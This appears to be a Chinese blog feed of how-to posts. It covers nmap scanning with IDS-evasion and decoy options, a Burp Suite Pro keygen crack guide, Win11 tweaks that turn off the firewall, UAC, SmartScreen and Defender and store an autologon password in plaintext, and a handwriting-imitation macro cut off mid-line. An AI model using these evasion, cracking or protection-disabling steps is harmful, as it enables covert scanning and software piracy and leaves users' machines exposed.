U:53,111,137,T:21-25,80,139,8080,S:9(其中T代表TCP协议、U代表UDP协议、S代表SCTP协议) -F: Fast mode – 快速模式,仅扫描TOP 100的端口 -r: 不进行端口随机打乱的操作(如无该参数,nmap会将要扫描的端口以随机顺序方式扫描,以让nmap的扫描不易被对方防火墙检测到)。 --top-ports <number>:扫描开放概率最高的number个端口(nmap的作者曾经做过大规模地互联网扫描,以此统计出网络上各种端口可能开放的概率。以此排列出最有可能开放端口的列表,具体可以参见文件:nmap-services。默认情况下,nmap会扫描最有可能的1000个TCP端口) --port-ratio <ratio>: 扫描指定频率以上的端口。与上述--top-ports类似,这里以概率作为参数,让概率大于--port-ratio的端口才被扫描。显然参数必须在在0到1之间,具体范围概率情况可以查看nmap-services文件。 以扫描局域网内192.168.1.100主机为例。 命令如下: nmap –sS –sU –T4 –top-ports 300 192.168.1.100 参数-sS表示使用TCP SYN方式扫描TCP端口;-sU表示扫描UDP端口;-T4表示时间级别配置4级;–top-ports 300表示扫描最有可能开放的300个端口(TCP和UDP分别有300个端口)。 版本侦测主要分为以下几个步骤: 首先检查open与open|filtered状态的端口是否在排除端口列表内。如果在排除列表,将该端口剔除。 如果是TCP端口,尝试建立TCP连接。尝试等待片刻(通常6秒或更多,具体时间可以查询文件nmap-services-probes中Probe TCP NULL q||对应的totalwaitms)。通常在等待时间内,会接收到目标机发送的“WelcomeBanner”信息。nmap将接收到的Banner与nmap-services-probes中NULL probe中的签名进行对比。查找对应应用程序的名字与版本信息。 如果通过“Welcome Banner”无法确定应用程序版本,那么nmap再尝试发送其他的探测包(即从nmap-services-probes中挑选合适的probe),将probe得到回复包与数据库中的签名进行对比。如果反复探测都无法得出具体应用,那么打印出应用返回报文,让用户自行进一步判定。 如果是UDP端口,那么直接使用nmap-services-probes中探测包进行探测匹配。根据结果对比分析出UDP应用服务类型。 如果探测到应用程序是SSL,那么调用openSSL进一步的侦查运行在SSL之上的具体的应用类型。 如果探测到应用程序是SunRPC,那么调用brute-force RPC grinder进一步探测具体服务。 命令行选项: 1 2 3 4 5 6 7 8 9 -sV: 指定让Nmap进行版本侦测 --version-intensity <level>: 指定版本侦测强度(0-9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。 --version-light: 指定使用轻量侦测方式 (intensity 2) --version-all: 尝试使用所有的probes进行侦测 (intensity 9) --version-trace: 显示出详细的版本侦测过程信息。 OS侦测的用法简单,Nmap提供的命令比较少。 1 2 3 4 5 -O: 指定Nmap进行OS侦测。 --osscan-limit: 限制Nmap只对确定的主机的进行OS探测(至少需确知该主机分别有一个open和closed的端口)。 --osscan-guess: 大胆猜测对方的主机的系统类型。由此准确性会下降不少,但会尽可能多为用户提供潜在的操作系统。 规避用法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 -f; --mtu <val>: 指定使用分片、指定数据包的MTU. -D <decoy1,decoy2[,ME],...>: 用一组IP地址掩盖真实地址,其中ME填入自己的IP地址。 -S <IP_Address>: 伪装成其他IP地址 -e <iface>: 使用特定的网络接口 -g/--source-port <portnum>: 使用指定源端口 --data-length <num>: 填充随机数据让数据包长度达到Num。 --ip-options <options>: 使用指定的IP选项来发送数据包。 --ttl <val>: 设置time-to-live时间。 --spoof-mac <mac address/prefix/vendor name>: 伪装MAC地址 --badsum: 使用错误的checksum来发送数据包(正常情况下,该类数据包被抛弃,如果收到回复,说明回复来自防火墙或IDS/IPS)。 规避演示 使用命令: nmap -v -F -Pn -D192.168.1.100,192.168.1.102,ME -e eth0 -g 3355 192.168.1.1 其中,-F表示快速扫描100个端口;-Pn表示不进行Ping扫描;-D表示使用IP诱骗方式掩盖自己真实IP(其中ME表示自己IP);-e eth0表示使用eth0网卡发送该数据包;-g 3355表示自己的源端口使用3355;192.168.1.1是被扫描的目标IP地址。 Nmap提供不少脚本使用的命令行参数。 1 2 3 4 5 6 7 8 9 10 11 12 13 -sC: 等价于 --script=default,使用默认类别的脚本进行扫描。 --script=<Lua scripts>: <Lua scripts>使用某个或某类脚本进行扫描,支持通配符描述 --script-args=<n1=v1,[n2=v2,...]>: 为脚本提供默认参数 --script-args-file=filename: 使用文件来为脚本提供参数 --script-trace: 显示脚本执行过程中发送与接收的数据 --script-updatedb: 更新脚本数据库 --script-help=<Lua scripts>: 显示脚本的帮助信息,其中<Luascripts>部分可以逗号分隔的文件或脚本类别。 eg: 1 2 nmap 目标ip -p1-65535 -Pn -sV -sC -A # 如果想看过程可以加上参数 -v sudo nmap -p1-65535 -T4 -Pn -sV -O -sF -A -vv 目标ip 参数链接 使用介绍(较乱)

2022/4/11
articleCard.readMore

微信 防撤回 多开等 For Mac 教程

本教程来源自开源项目 使用 首次使用安装 WeChatTweak-CLI: 1 brew install sunnyyoung/repo/wechattweak-cli 安装/更新/卸载 Tweak: 1 2 sudo wechattweak-cli install # 安装/更新 sudo wechattweak-cli uninstall # 卸载 启用 在微信的偏好设置中,找到Tweak即代表启用成功. Q&A 有问题建议去GitHub上发布Issues. 目前测试,自己的消息撤回不会拦截. 如果出现打不开. 点我下载MacOS小助手 安装后打开,执行签名操作即可.

2022/4/6
articleCard.readMore

数据结构笔记

数据结构 (1)数据是对客观事物的符号表示,如图像、声音等。 (2)数据元素是数据的基本单位。 (3)数据项是构成数据元素的不可分割的最小单位。 ​一个数据元素可由若干个数据项组成,例如,一位学生的信息记录为一个数据元素,它是由学号、姓名、性别等数据项组成。 (4)数据对象是具有相同性质的数据元素的集合。 (5)数据结构是相互之间存在一种或多种特定关系的数据元素的集合。 ​数据结构包括三方面的内容:逻辑结构、存储结构和数据的运算。 ​数据结构的形式定义为:数据结构是一个二元组 Data_Structure=(D,S) ​其中:D数据元素的有限集,S是D上关系的有限集。 逻辑结构是指数据元素之间的逻辑关系,与数据的存储无关,独立于计算机。 存储结构(物理结构)是指数据结构在计算机中的表示,它包括数据元素的表示和关系的表示。 顺序存储:把逻辑上相邻的元素存储在物理位置上也相邻的存储单元中,元素之间的关系由存储单元的邻接关系来体现。 链式存储:借助指示元素存储地址的指针来表示元素之间的逻辑关系。 索引存储:在存储元素信息的同时,还建立附加的索引表。 散列存储:根据元素的关键字直接计算出该元素的存储地址,又称哈希(hash)存储。 算法 算法是对特定问题求解步骤的一种描述,它是指令的有限序列,其中的每条指令表示一个或多个操作。此外,一个算法还具有下列个重要特性: (1)有穷性。一个算法必须总是在执行有穷步后结束,且每一步都是在有穷时间内完成。 (2)确定性。算法中每条指令必须有确切的含义,且相同的输入只能得到相同的输出。 (3)可行性。算法中描述的操作都可以通过已经实现的基本运算执行有限次来实现。 (4)输入。一个算法有零个或多个输入。 (5)输出。一个算法有一个或多个输出。 通常设计一个“好”的算法应考虑达到以下目标: (1)正确性。算法应能够正确地求解问题。 (2)可读性。算法能具有良好的可读性,以帮助人们理解。 (3)健壮性。输入非法数据时,算法能适当地做出反应或进行处理,而不会产生莫名其妙的输出结果。 (4)效率与低存储量需求。效率是指算法执行的时间,存储量需求是指算法执行过程中所需的最大存储空间。 算法效率的度量是通过时间复杂度和空间复杂度来描述的。 一个语句的频度是指该语句在算法中被重复执行的次数。 算法中所有语句的频度之和记为$T(n)$,它是该算法问题规模$n$的函数,时间复杂度主要分析$T(n)$的数量级。

2022/4/5
articleCard.readMore

Burpsuite Pro 破解(crack) 汉化(CN) For Mac

更新: 可以参考下面的项目,无需看本文后续教程. https://github.com/h3110w0r1d-y/BurpLoaderKeygen https://github.com/Leon406/BurpSuiteCN-Release 还是简单说一下吧 前往 https://portswigger.net/burp/releases 下载,实测版本 2023.10.2 可用(截止更新时间,其他版本未知). 前往 https://github.com/Leon406/BurpSuiteCN-Release/releases 下载最新版jar文件 前往 https://t.me/BurpLoaderKeygen 下载 或 点我下载 BurpLoaderKeygen_v1.17.jar 将下载的2个jar文件复制到下文描述的app文件夹中. 最后向vmoptions.txt文件(不知道在哪?看后文.)中追加下面内容.然后启动.然后参考后面教程就OK了. 1 2 3 4 5 6 7 --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED --add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED --add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED -javaagent:burpsuitloader-3.7.17-all.jar -javaagent:BurpLoaderKeygen_v1.17.jar -noverify 如果本文不行,请看别的大佬文章,例如:https://www.lzskyline.com/index.php/archives/121 所需文件下载 破解所需文件 点我下载 Burpsuite Pro 点我去官网下载或者点我下载2022.3版本For ARM Mac (经测验,最新版破解失败,经测版本2022.8.5可用) 放在一个文件夹中方便后续操作(可选) 已知汉化补丁BUG: repeater 只能 send 一次 等.(建议不使用汉化!会有奇怪bug.) 注:可能需要提前在系统环境中安装好java环境(最新版貌似自带Java环境) 例如: 以下是文字版教程. 安装并进入包内容 复制上述文件到这里 打开vmoptions.txt并在文件末尾添加如下内容(若不需要汉化,不添加这行即可:-javaagent:BurpSuiteCnV2.0.jar) -noverify -javaagent:BurpSuiteCnV2.0.jar -javaagent:burp-loader-x-Ai.jar 打开并完成注册 如果出现 xxx.app 已损坏,无法打开,你应该将它移到废纸篓 的话. 复制以下命令在终端中粘贴回车运行.(出现Password会要求输入密码,输入期间不会显示什么,正确输入完成,回车即可.) 1 sudo xattr -rd com.apple.quarantine /Applications/Burp\ Suite\ Professional.app && open /Applications/Burp\ Suite\ Professional.app 如果还不行的话,用下面的命令 1 xcode-select --install && sudo codesign --force --deep --sign - /Applications/Burp\ Suite\ Professional.app && open /Applications/Burp\ Suite\ Professional.app 参考链接🔗 接着双击打开burp-keygen-scz.jar 如果不行,可以采用命令行打开,复制一下命令到终端然后回车. 1 java -jar /Applications/Burp\ Suite\ Professional.app/Contents/Resources/app/burp-keygen-scz.jar 复制这里面的内容(License Text 可以自己随意修改) 粘贴到这里面,然后点下一步(Next) 然后再点手动激活(Manual) 然后复制请求 到另外一个程序的 Activation Request ,再复制 Activation Response ,在 Burp Suite中点 粘贴响应. 再点下一步(Next),就OK啦~ 有什么问题或者说的不清楚的地方,欢迎在评论区留言噢~ 补丁作者:https://github.com/x-Ai/BurpSuite Tips: 如果遇到奇怪的问题,建议去掉汉化看看、

2022/3/29
articleCard.readMore

VC6.0 绿色中文版下载(存档)

前言 微软原版的 VC6.0 已经不容易找到,网上提供的都是经过第三方修改的版本,删除了一些使用不到的功能,增强了兼容性。这里我们使用 VC6.0 完整绿色版,它能够支持一般的 C/C++ 应用程序开发以及计算机二级考试。 vc6.0_cn_full_完整绿色版.exe.7z.001 vc6.0_cn_full_完整绿色版.exe.7z.002 VC6.0绿色_英文版_win10_win11可用 该软件仅 31M,下载快速,安装简单,无需设置各种组件,还能够卸载干净。 VC6.0 能够在 XP 下很好的运行,无需进行额外的设置,但在 Win7、Win8 和 Win10 下,安装完成后还要修改兼容模式才可以。 在Win7或Win10下使用VC6.0 对于Win7和Win10,需要将VC6.0的兼容模式修改为 Windows XP SP3 或 SP2,下面是具体的操作步骤。 在 VC6.0 的快捷方式或开始菜单上单击鼠标右键,选择“属性”: 图1:在VC6.0的开始菜单上单击鼠标右键 在弹出的对话框中,将兼容模式修改为Windows XP SP3 或 SP2,如下图所示: 图2:设置为兼容 Windows XP(Service Pack 3) 兼容模式从Windows XP开始提出,目的是让旧版的软件能够运行在较新的操作系统上,和虚拟机的原理有点类似。 在Win8下使用VC6.0 相比Win7和Win10,Win8稍微麻烦一些,要先将 MSDEV.EXE 重命名为 MSDEV3.EXE,再按照上面的步骤设置兼容模式。 MSDEV.EXE 是 VC6.0 的主程序,位于 VC6.0 的安装目录下,可以在属性面板中快速找到 MSDEV.EXE,请看下图: 图3:快速定位 MSDE.EXE 图4:将 MSDEV.EXE 改成 MSDEV3.EXE 重命名完成后,还要修改快捷方式指向的目标文件,也就是图3中第一个红色方框圈起来的地方。最后,按照前面介绍的方法再将兼容模式修改为“Windows XP SP3”。 启动VC6.0,如果报错,关闭后再次启动,一般就正常了。成功启动一次后,以后就可以正常运行了。 如果依然启动失败,可以尝试将 MSDEV.EXE 改为其他名字。 在VC6.0运行过程中,如果弹出下面的兼容性提示框,勾选“不再显示此消息”,关闭即可。 图5:兼容性提示框 最后的总结 VC6.0可以在 XP 下完美运行,不用进行额外的设置。在Win7和Win10下,设置兼容模式才可以运行。Win8相对麻烦一些,要先修改 MSDEV.EXE 的名字,再设置兼容模式。 通过以上的设置如果还不能使用,那么请更换其它编译器,或者安装 Windows XP 吧,实在是没办法了。VC 6.0 太老了,在高版本的 Windows 系统中有时候就是死活都用不了,谁也没辙,微软早就不维护它了,也不再对它进行升级或者打补丁了,只能说明你的教学资料或者教学体制太落后了。

2022/3/23
articleCard.readMore

关于Win11部分优化(微软->反人类设计等)

前言 用了一段时间Win11后,发现有些新特性实在受不了.部分操作和设计实在是太反人类,个人觉得比较难用.故对Win11进行了部分优化以让我使用舒服些.写下这篇文章记录并分享给大家~ 开始Go 提权工具. windows用户给的管理员权限在某些地方还是太弱了.有些命令不能执行或者某些程序的权限比管理员还高或者注册了驱动程序,搞不动. 这里推荐一个工具 NSudo - 系统管理工具包 如何启动?运行NSudo.bat自动判断你系统类型并运行相应程序 后面的命令无特别说明均是命令行执行,推荐用NSudo启动的cmd命令行运行. Win11右键菜单 切换到旧版右键菜单: 1 reg add "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}\InprocServer32" /f /ve 恢复回Win11右键菜单: 1 reg delete "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}" /f 重启Windows资源管理器生效: 1 taskkill /f /im explorer.exe && start explorer.exe 鼠标右键新建文本文档 输入 regedit 回车. 之后在搜索栏粘贴 \HKEY_CLASSES_ROOT\.txt 回车 双击 (默认) 后弹出提示框,查看数值是否为 txtfile ,如果不是需要将值改为 txtfile 在 .txt 文件夹下查看是否有一个 shellNew 文件夹,如果没有需要 右键->新建->项 命名为 shellNew 如果有跳过该步骤 在shellNew文件夹上右键->新建->字符串值 然后将名称改为 nullfile ,数值数据空白即可 再运行重启Windows资源管理器代码即可生效. 如图: 关闭Windows Defender WDControl工具 启动电源计划“高性能” 如果你不担心耗电,可以试试这个.例如我的MBP笔记本能耗比非常优秀.开了这个对耗电影响不大. 1 powercfg.exe -setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c 后面的命令不一定生效(即不能确定是否适用于Win11,不过可以尝试) ECHO的命令不必执行. 每行复制粘贴执行一次. 关闭Windows防火墙 1 2 3 4 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v "EnableFirewall" /d 0 /t REG_DWORD /f reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\PrivateProfile" /v "EnableFirewall" /d 0 /t REG_DWORD /f reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\PublicProfile" /v "EnableFirewall" /d 0 /t REG_DWORD /f sc stop MpsSvc MpsSvc & sc config MpsSvc start=disabled 关闭用户账户控制(UAC) 1 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /d 0 /t REG_DWORD /f 关闭Smartscreen应用筛选器 1 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /d off /t REG_SZ /f 启动电源计划“高性能” 1 powercfg.exe -setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c 关闭显示器前等待时间: 从不 1 2 powercfg -change -monitor-timeout-ac 0 powercfg -change -monitor-timeout-dc 0 关闭休眠 1 powercfg -h off 延迟启动 Superfetch 服务 1 sc config "SysMain" start= delayed-auto 禁止运行计算机自动维护计划 1 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\ScheduledDiagnostics" /v "EnabledExecution" /d 0 /t REG_DWORD /f 关闭客户体验改善计划 1 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SQMClient\Windows" /v "CEIPEnable" /d 0 /t REG_DWORD /f 关闭自动播放 1 2 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDriveTypeAutoRun" /d 255 /t REG_DWORD /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDriveTypeAutoRun" /d 255 /t REG_DWORD /f 关机时强制杀后台不等待 1 reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control" /v "WaitToKillServiceTimeout" /d 0 /t REG_SZ /f 关闭远程协助 1 2 3 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v "fAllowToGetHelp" /d 0 /t REG_dword /f reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v "fAllowUnsolicited" /d 0 /t REG_dword /f reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v "fDenyTSConnections" /d 1 /t REG_dword /f 任务栏日期显示“星期几” 1 2 reg add "HKEY_CURRENT_USER\Control Panel\International" /v "sLongDate" /d "yyyy'年'M'月'd'日', dddd" /t REG_SZ /f reg add "HKEY_CURRENT_USER\Control Panel\International" /v "sShortDate" /d "yyyy/M/d/ddd" /t REG_SZ /f 关闭磁盘碎片整理计划 1 SCHTASKS /Change /DISABLE /TN "\Microsoft\Windows\Defrag\ScheduledDefrag" 禁用疑难解答和系统诊断服务 1 2 3 4 5 6 sc stop WdiSystemHost sc stop WdiServiceHost sc stop DPS sc config DPS start= disabled sc config WdiServiceHost start= disabled sc config WdiSystemHost start= disabled 启用防火墙Windows Firewall服务(并非启用防火墙) 1 2 3 ECHO 启用防火墙Windows Firewall服务(并非启用防火墙) sc config MpsSvc start= auto net start MpsSvc 删除回收站右键固定到开始屏幕 1 2 ECHO 删除回收站右键固定到开始屏幕 reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\PintoStartScreen" /f 关闭Windows10 要使用本计算机,用户必需输入用户名和密码 1 2 3 4 5 ECHO 关闭Windows10 要使用本计算机,用户必需输入用户名和密码 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v AutoAdminLogon /d 1 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v DefaultUserName /d Administrator reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v DefaultDomainName /d My pc reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v DefaultPassword /d 1234 关闭家庭组 1 2 ECHO 关闭家庭组 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\HomeGroup" /v "DisableHomeGroup" /d 1 /t REG_DWORD /f 隐藏资源管理器导航窗格家庭组和网络 1 2 3 ECHO 隐藏资源管理器导航窗格家庭组和网络 reg add "HKEY_CLASSES_ROOT\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\ShellFolder" /v Attributes /d 2962489612 /t REG_DWORD /f reg add "HKEY_CLASSES_ROOT\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\ShellFolder" /v Attributes /d 2962489444 /t REG_DWORD /f 关闭开机画面 1 2 ECHO 关闭开机画面 bcdedit /set quietboot on 禁用”最近使用的项目“ 1 2 3 4 5 6 7 8 9 ECHO 禁用"最近使用的项目" reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "Start_TrackProgs" /d 0 /t REG_DWORD /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "Start_TrackDocs" /d 0 /t REG_DWORD /f reg add "HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify" /v "IconStreams" /t REG_BINARY /f reg add "HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify" /v "PastIconsStream" /t REG_BINARY /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRecentDocsHistory" /d 1 /t REG_DWORD /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoInstrumentation" /d 1 /t REG_DWORD /f reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer" /v "DisableSearchBoxSuggestions" /d 1 /t REG_DWORD /f reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer" /v "DisableSearchHistory" /d 1 /t REG_DWORD /f 开启“快速启动” 1 2 ECHO 开启“快速启动” reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System" /v "HiberbootEnabled" /d 1 /t REG_DWORD /f 关闭程序兼容性助手 1 2 ECHO 关闭程序兼容性助手 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\AppCompat" /v "DisablePCA" /d 1 /t REG_DWORD /f 关闭不必要的视觉动画效果 1 2 3 4 ECHO 关闭不必要的视觉动画效果 reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\DWM" /v "DisallowAnimations" /d 1 /t REG_dword /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "TurnOffSPIAnimations" /d 1 /t REG_dword /f reg add "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics" /v "MinAnimate" /d 0 /t REG_SZ /f 关闭不需要的视觉效果 1 2 3 4 5 6 7 8 9 10 11 12 ECHO 关闭不需要的视觉效果 reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\VisualEffects" /v "VisualFXSetting" /d 3 /t REG_DWORD /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\DWM" /v "AlwaysHibernateThumbnails" /d 0 /t REG_DWORD /f reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "FontSmoothing" /d 2 /t REG_SZ /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\DWM" /v "EnableAeroPeek" /d 0 /t REG_DWORD /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "TaskbarAnimations" /d 0 /t REG_DWORD /f reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "DragFullWindows" /d 1 /t REG_SZ /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ListviewAlphaSelect" /d 0 /t REG_DWORD /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "IconsOnly" /d 0 /t REG_DWORD /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ListviewShadow" /d 0 /t REG_DWORD /f reg add "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics" /v "MinAnimate" /d 0 /t REG_SZ /f reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "UserPreferencesMask" /d "9012038010000000" /t REG_BINARY /f IE11开启企业模式 1 2 3 ECHO IE11开启企业模式 reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Main\EnterpriseMode" /v SiteList /d "HKCU\Software\policies\Microsoft\Internet Explorer\Main\EnterpriseMode" /t reg_sz /f reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Main\EnterpriseMode" /v Enable /d "" /t reg_sz /f 开始屏幕自动显示”应用”视图 1 2 ECHO 开始屏幕自动显示"应用"视图 reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer" /v ShowAppsViewOnStart /d 1 /t REG_DWORD /f 清除右键多余菜单 1 2 3 4 5 6 ECHO 清除右键多余菜单 regsvr32 /u /s igfxpph.dll reg delete HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers /f reg add HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers\new /ve /d {D969A300-E7FF-11d0-A93B-00A0C90F2719} reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v HotKeysCmds /f reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v IgfxTray /f 打开IE请勿追踪功能(Do Not Track) 1 2 3 4 ECHO 打开IE请勿追踪功能(Do Not Track) reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "DoNotTrack" /d "1" /t REG_DWORD /f taskkill /f /im iexplore.exe ECHO 完成 设置窗口超窄边框 1 2 ECHO 设置窗口超窄边框 reg add "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics" /v "PaddedBorderWidth" /d 0 /t REG_SZ /f 禁止一联网就打开浏览 1 2 ECHO 禁止一联网就打开浏览器 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\NetworkConnectivityStatusIndicator" /v "NoActiveProbe" /d 1 /t REG_DWORD /f 禁用任务计划程序自启项 1 2 3 4 5 6 7 8 9 10 11 12 13 14 ECHO 禁用任务计划程序自启项 SCHTASKS /Change /DISABLE /TN "\Microsoft\Windows\Windows Error Reporting\QueueReporting" SCHTASKS /Change /DISABLE /TN "\Microsoft\Windows\SkyDrive\Routine Maintenance Task" SCHTASKS /Change /DISABLE /TN "\Microsoft\Windows\SkyDrive\Idle Sync Maintenance Task" SCHTASKS /Change /DISABLE /TN "\Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticResolver" SCHTASKS /Change /DISABLE /TN "\Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticDataCollector" SCHTASKS /Change /DISABLE /TN "\Microsoft\Windows\Diagnosis\Scheduled" SCHTASKS /Change /DISABLE /TN "\Microsoft\Windows\Defrag\ScheduledDefrag" SCHTASKS /Change /DISABLE /TN "\GoogleUpdateTaskMachineUA" SCHTASKS /Change /DISABLE /TN "\GoogleUpdateTaskMachineCore" SCHTASKS /Change /DISABLE /TN "\Microsoft\Office\OfficeTelemetryAgentFallBack" SCHTASKS /Change /DISABLE /TN "\Microsoft\Office\OfficeTelemetryAgentLogOn" SCHTASKS /Change /DISABLE /TN "\AdobeAAMUpdater-1.0-%computername%-%username%" SCHTASKS /Change /DISABLE /TN "\Microsoft\Office\Office 15 Subscription Heartbeat" 去除快捷方式小箭头和后缀 1 2 3 4 ECHO 去除快捷方式小箭头和后缀 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer" /v link /d "00000000" /t REG_BINARY /f del "%userprofile%\AppData\Local\iconcache.db" /f /q 去除UAC小盾牌 1 2 3 4 5 6 7 ECHO 去除UAC小盾牌 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 77 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f taskkill /f /im explorer.exe attrib -s -r -h "%userprofile%\AppData\Local\iconcache.db" del "%userprofile%\AppData\Local\iconcache.db" /f /q start explorer Win10去掉桌面箭头 1 2 3 4 5 6 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f taskkill /f /im explorer.exe attrib -s -r -h "%userprofile%\AppData\Local\iconcache.db" del "%userprofile%\AppData\Local\iconcache.db" /f /q start explorer pause Win10恢复桌面箭头 1 2 3 4 5 6 reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /f taskkill /f /im explorer.exe attrib -s -r -h "%userprofile%\AppData\Local\iconcache.db" del "%userprofile%\AppData\Local\iconcache.db" /f /q start explorer pause

2022/3/22
articleCard.readMore

Word标准字转模拟手写字

下载这个压缩包 文字手写化-即刻球手抄文件夹.rar 并解压 字体配合代码使用. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 Dim R_Character As Range Dim FontSize(5) ' 字体大小在5个值之间进行波动,可以改写 FontSize(1) = "21" FontSize(2) = "21.5" FontSize(3) = "22" FontSize(4) = "22.5" FontSize(5) = "23" Dim FontName(3) '字体名称在三种字体之间进行波动,可改写,但需要保证系统拥有下列字体 FontName(1) = "陈静的字完整版" FontName(2) = "萌妹子体" FontName(3) = "liguofu" Dim ParagraphSpace(5) '行间距 在一定以下值中均等分布,可改写 ParagraphSpace(1) = "12" ParagraphSpace(2) = "13" ParagraphSpace(3) = "20" ParagraphSpace(4) = "7" ParagraphSpace(5) = "12" '不懂原理的话,不建议修改下列代码 For Each R_Character In ActiveDocument.Characters VBA.Randomize R_Character.Font.Name = FontName(Int(VBA.Rnd * 3) + 1) R_Character.Font.Size = 